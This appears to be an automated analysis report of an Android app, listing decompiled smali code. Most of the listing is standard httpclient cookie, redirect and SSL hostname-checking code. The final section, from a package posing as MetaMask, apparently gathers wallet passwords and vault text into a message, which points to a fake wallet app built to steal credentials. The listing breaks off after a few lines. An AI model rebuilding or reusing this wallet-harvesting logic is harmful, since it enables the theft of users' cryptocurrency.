        17invoke-interface {p1}, Lcz/msebera/android/httpclient/cookie/Cookie;->getDomain()Ljava/lang/String;
        18move-result-object p1
        19if-eqz p1, :cond_f8
        21invoke-virtual {p1, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        22move-result v0
        23if-nez v0, :cond_f7
        24const/16 v0, 0x2e
        26invoke-virtual {p1, v0}, Ljava/lang/String;->indexOf(I)I
        27move-result v1
        28const/4 v2, -0x1
        29if-eq v1, v2, :cond_d3
        31const-string v1, "."
        33invoke-virtual {p1, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
        34move-result v1
        35if-eqz v1, :cond_b7
        36const/4 v1, 0x1
        38invoke-virtual {p1, v0, v1}, Ljava/lang/String;->indexOf(II)I
        39move-result v3
        40if-ltz v3, :cond_9b
        42invoke-virtual {p1}, Ljava/lang/String;->length()I
        43move-result v4
        44sub-int/2addr v4, v1
        45if-eq v3, v4, :cond_9b
        47sget-object v1, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        49invoke-virtual {p2, v1}, Ljava/lang/String;->toLowerCase(Ljava/util/Locale;)Ljava/lang/String;
        50move-result-object p2
        52invoke-virtual {p2, p1}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
        53move-result v1
        54if-eqz v1, :cond_77
        55const/4 v1, 0x0
        57invoke-virtual {p2}, Ljava/lang/String;->length()I
        58move-result v3
        60invoke-virtual {p1}, Ljava/lang/String;->length()I
        61move-result v4
        62sub-int/2addr v3, v4
        64invoke-virtual {p2, v1, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String;
        65move-result-object p2
        67invoke-virtual {p2, v0}, Ljava/lang/String;->indexOf(I)I
        68move-result p2
        69if-ne p2, v2, :cond_5b
        70goto/16 :goto_f7
        71cond_5b: new-instance p2, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;
        72new-instance v0, Ljava/lang/StringBuilder;
        74invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        76const-string v1, "Domain attribute \""
        78invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        80invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        82const-string p1, "\" violates RFC 2109: host minus domain may not contain any dots"
        84invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        86invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        87move-result-object p1
        89invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;-><init>(Ljava/lang/String;)V
        90throw p2
        91cond_77: new-instance v0, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;
        92new-instance v1, Ljava/lang/StringBuilder;
        94invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        96const-string v2, "Illegal domain attribute \""
        98invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        100invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        102const-string p1, "\". Domain of origin: \""
        104invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        106invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        108const-string p1, "\""
        110invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        112invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        113move-result-object p1
        115invoke-direct {v0, p1}, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;-><init>(Ljava/lang/String;)V
        116throw v0
        117cond_9b: new-instance p2, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;
        118new-instance v0, Ljava/lang/StringBuilder;
        120invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        122const-string v1, "Domain attribute \""
        124invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        126invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        128const-string p1, "\" violates RFC 2109: domain must contain an embedded dot"
        130invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        132invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        133move-result-object p1
        135invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;-><init>(Ljava/lang/String;)V
        136throw p2
        137cond_b7: new-instance p2, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;
        138new-instance v0, Ljava/lang/StringBuilder;
        140invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        142const-string v1, "Domain attribute \""
        144invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        146invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        148const-string p1, "\" violates RFC 2109: domain must start with a dot"
        150invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        152invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        153move-result-object p1
        155invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;-><init>(Ljava/lang/String;)V
        156throw p2
        157cond_d3: new-instance v0, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;
        158new-instance v1, Ljava/lang/StringBuilder;
        160invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        162const-string v2, "Domain attribute \""
        164invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        166invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        168const-string p1, "\" does not match the host \""
        170invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        172invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        174const-string p1, "\""
        176invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        178invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        179move-result-object p1
        181invoke-direct {v0, p1}, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;-><init>(Ljava/lang/String;)V
        182throw v0
        183goto_f7: return-void
        184cond_f8: new-instance p1, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;
        186const-string p2, "Cookie domain may not be null"
        188invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;-><init>(Ljava/lang/String;)V
        189throw p1
        APIs
        • java.lang.String.replaceAll
        • java.net.URI.<init>
        • java.net.URI.isAbsolute
        • java.net.URI.<init>
        • java.net.URISyntaxException.getMessage
        • cz.msebera.android.httpclient.ProtocolException.<init>
        • java.lang.IllegalStateException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ProtocolException.<init>
        • cz.msebera.android.httpclient.impl.client.RedirectLocations.<init>
        • java.net.URI.getFragment
        • java.net.URI.getHost
        • java.net.URI.getPort
        • java.net.URI.getScheme
        • java.net.URISyntaxException.getMessage
        • cz.msebera.android.httpclient.ProtocolException.<init>
        • cz.msebera.android.httpclient.impl.client.RedirectLocations.contains
        • cz.msebera.android.httpclient.impl.client.RedirectLocations.add
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.client.CircularRedirectException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ProtocolException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ProtocolException.<init>
        • java.lang.IllegalArgumentException.<init>
        Strings
        • location
        • %20
        • http.protocol.reject-relative-redirect
        • http.target_host
        • http.request
        • Target host not available in the HTTP context
        • Relative redirect location \'
        • \' not allowed
        • http.protocol.allow-circular-redirects
        • http.protocol.redirect-locations
        • Circular redirect to \'
        • \'
        • Invalid redirect URI:
        • Received redirect response
        • but no location header
        • HTTP response may not be null
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/ProtocolException;
        3}
        4.end annotation
        5if-eqz p1, :cond_128
        7const-string v0, "location"
        9invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/HttpResponse;->getFirstHeader(Ljava/lang/String;)Lcz/msebera/android/httpclient/Header;
        10move-result-object v0
        11if-eqz v0, :cond_108
        13invoke-interface {v0}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        14move-result-object v0
        16const-string v1, " "
        18const-string v2, "%20"
        20invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
        21move-result-object v0
        22try_start_16: new-instance v1, Ljava/net/URI;
        24invoke-direct {v1, v0}, Ljava/net/URI;-><init>(Ljava/lang/String;)V
        25try_end_1b:
        26invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getParams()Lcz/msebera/android/httpclient/params/HttpParams;
        27move-result-object p1
        29invoke-virtual {v1}, Ljava/net/URI;->isAbsolute()Z
        30move-result v0
        31const/4 v2, 0x1
        32if-nez v0, :cond_85
        34const-string v0, "http.protocol.reject-relative-redirect"
        36invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/params/HttpParams;->isParameterTrue(Ljava/lang/String;)Z
        37move-result v0
        38if-nez v0, :cond_69
        40const-string v0, "http.target_host"
        42invoke-interface {p2, v0}, Lcz/msebera/android/httpclient/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
        43move-result-object v0
        44check-cast v0, Lcz/msebera/android/httpclient/HttpHost;
        45if-eqz v0, :cond_61
        47const-string v3, "http.request"
        49invoke-interface {p2, v3}, Lcz/msebera/android/httpclient/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
        50move-result-object v3
        51check-cast v3, Lcz/msebera/android/httpclient/HttpRequest;
        52try_start_40: new-instance v4, Ljava/net/URI;
        54invoke-interface {v3}, Lcz/msebera/android/httpclient/HttpRequest;->getRequestLine()Lcz/msebera/android/httpclient/RequestLine;
        55move-result-object v3
        57invoke-interface {v3}, Lcz/msebera/android/httpclient/RequestLine;->getUri()Ljava/lang/String;
        58move-result-object v3
        60invoke-direct {v4, v3}, Ljava/net/URI;-><init>(Ljava/lang/String;)V
        62invoke-static {v4, v0, v2}, Lcz/msebera/android/httpclient/client/utils/URIUtils;->rewriteURI(Ljava/net/URI;Lcz/msebera/android/httpclient/HttpHost;Z)Ljava/net/URI;
        63move-result-object v0
        65invoke-static {v0, v1}, Lcz/msebera/android/httpclient/client/utils/URIUtils;->resolve(Ljava/net/URI;Ljava/net/URI;)Ljava/net/URI;
        66move-result-object v1
        67try_end_55: goto/16 :goto_85
        68catch_56: move-exception p1
        69new-instance p2, Lcz/msebera/android/httpclient/ProtocolException;
        71invoke-virtual {p1}, Ljava/net/URISyntaxException;->getMessage()Ljava/lang/String;
        72move-result-object v0
        74invoke-direct {p2, v0, p1}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        75throw p2
        76cond_61: new-instance p1, Ljava/lang/IllegalStateException;
        78const-string p2, "Target host not available in the HTTP context"
        80invoke-direct {p1, p2}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
        81throw p1
        82cond_69: new-instance p1, Lcz/msebera/android/httpclient/ProtocolException;
        83new-instance p2, Ljava/lang/StringBuilder;
        85invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
        87const-string v0, "Relative redirect location \'"
        89invoke-virtual {p2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        91invoke-virtual {p2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        93const-string v0, "\' not allowed"
        95invoke-virtual {p2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        97invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        98move-result-object p2
        100invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;)V
        101throw p1
        102goto_85:
        103const-string v0, "http.protocol.allow-circular-redirects"
        105invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/params/HttpParams;->isParameterFalse(Ljava/lang/String;)Z
        106move-result p1
        107if-eqz p1, :cond_ef
        109const-string p1, "http.protocol.redirect-locations"
        111invoke-interface {p2, p1}, Lcz/msebera/android/httpclient/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
        112move-result-object p1
        113check-cast p1, Lcz/msebera/android/httpclient/impl/client/RedirectLocations;
        114if-nez p1, :cond_a1
        115new-instance p1, Lcz/msebera/android/httpclient/impl/client/RedirectLocations;
        117invoke-direct {p1}, Lcz/msebera/android/httpclient/impl/client/RedirectLocations;-><init>()V
        119const-string v0, "http.protocol.redirect-locations"
        121invoke-interface {p2, v0, p1}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        122cond_a1:
        123invoke-virtual {v1}, Ljava/net/URI;->getFragment()Ljava/lang/String;
        124move-result-object p2
        125if-eqz p2, :cond_c8
        126try_start_a7: new-instance p2, Lcz/msebera/android/httpclient/HttpHost;
        128invoke-virtual {v1}, Ljava/net/URI;->getHost()Ljava/lang/String;
        129move-result-object v0
        131invoke-virtual {v1}, Ljava/net/URI;->getPort()I
        132move-result v3
        134invoke-virtual {v1}, Ljava/net/URI;->getScheme()Ljava/lang/String;
        135move-result-object v4
        137invoke-direct {p2, v0, v3, v4}, Lcz/msebera/android/httpclient/HttpHost;-><init>(Ljava/lang/String;ILjava/lang/String;)V
        139invoke-static {v1, p2, v2}, Lcz/msebera/android/httpclient/client/utils/URIUtils;->rewriteURI(Ljava/net/URI;Lcz/msebera/android/httpclient/HttpHost;Z)Ljava/net/URI;
        140move-result-object p2
        141try_end_bc: goto/16 :goto_c9
        142catch_bd: move-exception p1
        143new-instance p2, Lcz/msebera/android/httpclient/ProtocolException;
        145invoke-virtual {p1}, Ljava/net/URISyntaxException;->getMessage()Ljava/lang/String;
        146move-result-object v0
        148invoke-direct {p2, v0, p1}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        149throw p2
        150cond_c8: move-object p2, v1
        151goto_c9:
        152invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/impl/client/RedirectLocations;->contains(Ljava/net/URI;)Z
        153move-result v0
        154if-nez v0, :cond_d3
        156invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/impl/client/RedirectLocations;->add(Ljava/net/URI;)V
        157goto/16 :goto_ef
        158cond_d3: new-instance p1, Lcz/msebera/android/httpclient/client/CircularRedirectException;
        159new-instance v0, Ljava/lang/StringBuilder;
        161invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        163const-string v1, "Circular redirect to \'"
        165invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        167invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        169const-string p2, "\'"
        171invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        173invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        174move-result-object p2
        176invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/client/CircularRedirectException;-><init>(Ljava/lang/String;)V
        177throw p1
        178goto_ef: return-object v1
        179catch_f0: move-exception p1
        180new-instance p2, Lcz/msebera/android/httpclient/ProtocolException;
        181new-instance v1, Ljava/lang/StringBuilder;
        183invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        185const-string v2, "Invalid redirect URI: "
        187invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        189invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        191invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        192move-result-object v0
        194invoke-direct {p2, v0, p1}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        195throw p2
        196cond_108: new-instance p2, Lcz/msebera/android/httpclient/ProtocolException;
        197new-instance v0, Ljava/lang/StringBuilder;
        199invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        201const-string v1, "Received redirect response "
        203invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        205invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        206move-result-object p1
        208invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        210const-string p1, " but no location header"
        212invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        214invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        215move-result-object p1
        217invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;)V
        218throw p2
        219cond_128: new-instance p1, Ljava/lang/IllegalArgumentException;
        221const-string p2, "HTTP response may not be null"
        223invoke-direct {p1, p2}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
        224throw p1
        APIs
        • java.util.LinkedList.<init>
        • java.util.LinkedList.add
        • java.util.LinkedList.isEmpty
        • java.lang.StringBuilder.<init>
        • java.lang.String.trim
        • java.lang.String.toLowerCase
        • java.util.LinkedList.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.lang.String.toLowerCase
        • java.lang.StringBuilder.append
        • java.util.Iterator.hasNext
        • java.lang.StringBuilder.append
        • java.lang.String.split
        • java.lang.String.endsWith
        • java.lang.String.length
        • java.lang.String.substring
        • java.lang.String.length
        • java.lang.String.substring
        • java.lang.String.length
        • java.lang.String.substring
        • java.lang.String.startsWith
        • java.lang.String.endsWith
        • java.lang.String.substring
        • java.lang.String.endsWith
        • java.lang.String.equals
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • javax.net.ssl.SSLException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • javax.net.ssl.SSLException.<init>
        Strings
        • <
        • OR
        • \\.
        • *
        • hostname in certificate didn\'t match: <
        • > !=
        • Certificate for <
        • > doesn\'t contain CN or DNS subjectAlt
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljavax/net/ssl/SSLException;
        3}
        4.end annotation
        5new-instance v0, Ljava/util/LinkedList;
        7invoke-direct {v0}, Ljava/util/LinkedList;-><init>()V
        8const/4 v1, 0x0
        9if-eqz p2, :cond_14
        10array-length v2, p2
        11if-lez v2, :cond_14
        12aget-object v2, p2, v1
        13if-eqz v2, :cond_14
        14aget-object p2, p2, v1
        16invoke-virtual {v0, p2}, Ljava/util/LinkedList;->add(Ljava/lang/Object;)Z
        17cond_14: if-eqz p3, :cond_24
        18array-length p2, p3
        19const/4 v2, 0x0
        20goto_18: if-ge v2, p2, :cond_24
        21aget-object v3, p3, v2
        22if-eqz v3, :cond_21
        24invoke-virtual {v0, v3}, Ljava/util/LinkedList;->add(Ljava/lang/Object;)Z
        25cond_21: add-int/lit8 v2, v2, 0x1
        26goto/16 :goto_18
        27cond_24:
        28invoke-virtual {v0}, Ljava/util/LinkedList;->isEmpty()Z
        29move-result p2
        30if-nez p2, :cond_10a
        31new-instance p2, Ljava/lang/StringBuilder;
        33invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
        35invoke-virtual {p1}, Ljava/lang/String;->trim()Ljava/lang/String;
        36move-result-object p3
        38sget-object v2, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        40invoke-virtual {p3, v2}, Ljava/lang/String;->toLowerCase(Ljava/util/Locale;)Ljava/lang/String;
        41move-result-object p3
        43invoke-direct {p0, p3}, Lcz/msebera/android/httpclient/conn/ssl/AbstractVerifier;->normaliseIPv6Address(Ljava/lang/String;)Ljava/lang/String;
        44move-result-object p3
        46invoke-virtual {v0}, Ljava/util/LinkedList;->iterator()Ljava/util/Iterator;
        47move-result-object v0
        48const/4 v2, 0x0
        49cond_42:
        50invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z
        51move-result v3
        52if-eqz v3, :cond_e8
        54invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        55move-result-object v2
        56check-cast v2, Ljava/lang/String;
        58sget-object v3, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        60invoke-virtual {v2, v3}, Ljava/lang/String;->toLowerCase(Ljava/util/Locale;)Ljava/lang/String;
        61move-result-object v2
        63const-string v3, " <"
        65invoke-virtual {p2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        67invoke-virtual {p2, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        68const/16 v3, 0x3e
        70invoke-virtual {p2, v3}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        72invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z
        73move-result v3
        74if-eqz v3, :cond_6c
        76const-string v3, " OR"
        78invoke-virtual {p2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        79cond_6c:
        80const-string v3, "\\."
        82invoke-virtual {v2, v3}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
        83move-result-object v3
        84array-length v4, v3
        85const/4 v5, 0x3
        86const/4 v6, 0x1
        87if-lt v4, v5, :cond_8f
        88aget-object v4, v3, v1
        90const-string v5, "*"
        92invoke-virtual {v4, v5}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
        93move-result v4
        94if-eqz v4, :cond_8f
        96invoke-virtual {p0, v2}, Lcz/msebera/android/httpclient/conn/ssl/AbstractVerifier;->validCountryWildcard(Ljava/lang/String;)Z
        97move-result v4
        98if-eqz v4, :cond_8f
        100invoke-static {p1}, Lcz/msebera/android/httpclient/conn/ssl/AbstractVerifier;->isIPAddress(Ljava/lang/String;)Z
        101move-result v4
        102if-nez v4, :cond_8f
        103const/4 v4, 0x1
        104goto/16 :goto_90
        105cond_8f: const/4 v4, 0x0
        106goto_90: if-eqz v4, :cond_de
        107aget-object v3, v3, v1
        109invoke-virtual {v3}, Ljava/lang/String;->length()I
        110move-result v4
        111if-le v4, v6, :cond_c3
        113invoke-virtual {v3}, Ljava/lang/String;->length()I
        114move-result v4
        115sub-int/2addr v4, v6
        117invoke-virtual {v3, v1, v4}, Ljava/lang/String;->substring(II)Ljava/lang/String;
        118move-result-object v4
        120invoke-virtual {v3}, Ljava/lang/String;->length()I
        121move-result v3
        123invoke-virtual {v2, v3}, Ljava/lang/String;->substring(I)Ljava/lang/String;
        124move-result-object v3
        126invoke-virtual {v4}, Ljava/lang/String;->length()I
        127move-result v5
        129invoke-virtual {p3, v5}, Ljava/lang/String;->substring(I)Ljava/lang/String;
        130move-result-object v5
        132invoke-virtual {p3, v4}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
        133move-result v4
        134if-eqz v4, :cond_c1
        136invoke-virtual {v5, v3}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
        137move-result v3
        138if-eqz v3, :cond_c1
        139const/4 v3, 0x1
        140goto/16 :goto_cb
        141cond_c1: const/4 v3, 0x0
        142goto/16 :goto_cb
        143cond_c3:
        144invoke-virtual {v2, v6}, Ljava/lang/String;->substring(I)Ljava/lang/String;
        145move-result-object v3
        147invoke-virtual {p3, v3}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
        148move-result v3
        149goto_cb: if-eqz v3, :cond_dc
        150if-eqz p4, :cond_dc
        152invoke-static {p3}, Lcz/msebera/android/httpclient/conn/ssl/AbstractVerifier;->countDots(Ljava/lang/String;)I
        153move-result v3
        155invoke-static {v2}, Lcz/msebera/android/httpclient/conn/ssl/AbstractVerifier;->countDots(Ljava/lang/String;)I
        156move-result v2
        157if-ne v3, v2, :cond_db
        158const/4 v3, 0x1
        159goto/16 :goto_dc
        160cond_db: const/4 v3, 0x0
        161goto_dc: move v2, v3
        162goto/16 :goto_e6
        163cond_de:
        164invoke-direct {p0, v2}, Lcz/msebera/android/httpclient/conn/ssl/AbstractVerifier;->normaliseIPv6Address(Ljava/lang/String;)Ljava/lang/String;
        165move-result-object v2
        167invoke-virtual {p3, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        168move-result v2
        169goto_e6: if-eqz v2, :cond_42
        170cond_e8: if-eqz v2, :cond_eb
        171return-void
        172cond_eb: new-instance p3, Ljavax/net/ssl/SSLException;
        173new-instance p4, Ljava/lang/StringBuilder;
        175invoke-direct {p4}, Ljava/lang/StringBuilder;-><init>()V
        177const-string v0, "hostname in certificate didn\'t match: <"
        179invoke-virtual {p4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        181invoke-virtual {p4, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        183const-string p1, "> !="
        185invoke-virtual {p4, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        187invoke-virtual {p4, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        189invoke-virtual {p4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        190move-result-object p1
        192invoke-direct {p3, p1}, Ljavax/net/ssl/SSLException;-><init>(Ljava/lang/String;)V
        193throw p3
        194cond_10a: new-instance p2, Ljava/lang/StringBuilder;
        196invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
        198const-string p3, "Certificate for <"
        200invoke-virtual {p2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        202invoke-virtual {p2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        204const-string p1, "> doesn\'t contain CN or DNS subjectAlt"
        206invoke-virtual {p2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        208invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        209move-result-object p1
        210new-instance p2, Ljavax/net/ssl/SSLException;
        212invoke-direct {p2, p1}, Ljavax/net/ssl/SSLException;-><init>(Ljava/lang/String;)V
        213throw p2
        APIs
        • android.widget.EditText.getText
        • java.lang.Object.toString
        • android.widget.EditText.getText
        • java.lang.Object.toString
        • android.widget.EditText.getText
        • java.lang.Object.toString
        • java.lang.String.isEmpty
        • android.widget.EditText.requestFocus
        • android.widget.EditText.setError
        • java.lang.String.isEmpty
        • android.widget.EditText.requestFocus
        • android.widget.EditText.setError
        • java.lang.String.isEmpty
        • android.widget.EditText.requestFocus
        • android.widget.EditText.setError
        • android.widget.EditText.getText
        • android.text.Editable.clear
        • android.widget.EditText.getText
        • android.text.Editable.clear
        • android.widget.EditText.getText
        • android.text.Editable.clear
        • android.util.Log.i
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.String.valueOf
        • android.util.Log.i
        • android.widget.Toast.makeText
        • android.widget.Toast.show
        Strings
        • Please enter new Password
        • **From Meta Mask App** \n Phone Model
        • \n\n\n**Account Restoration** \nNew Password:
        • \nConfirm Password:
        • \n\nVault Text: \n
        • Check Your Internet Connection
        Position Instruction Meta Information
        1iget-object p1, p0, Lcom/lemon/metamask/Activity/WalletSeedActivity$2;->this$0:Lcom/lemon/metamask/Activity/WalletSeedActivity;
        3invoke-static {p1}, Lcom/lemon/metamask/Util/Method;->isNetworkAvailable(Landroid/app/Activity;)Z
        4move-result p1
        5if-eqz p1, :cond_10a
        7iget-object p1, p0, Lcom/lemon/metamask/Activity/WalletSeedActivity$2;->this$0:Lcom/lemon/metamask/Activity/WalletSeedActivity;
        9iget-object p1, p1, Lcom/lemon/metamask/Activity/WalletSeedActivity;->passwordr:Landroid/widget/EditText;
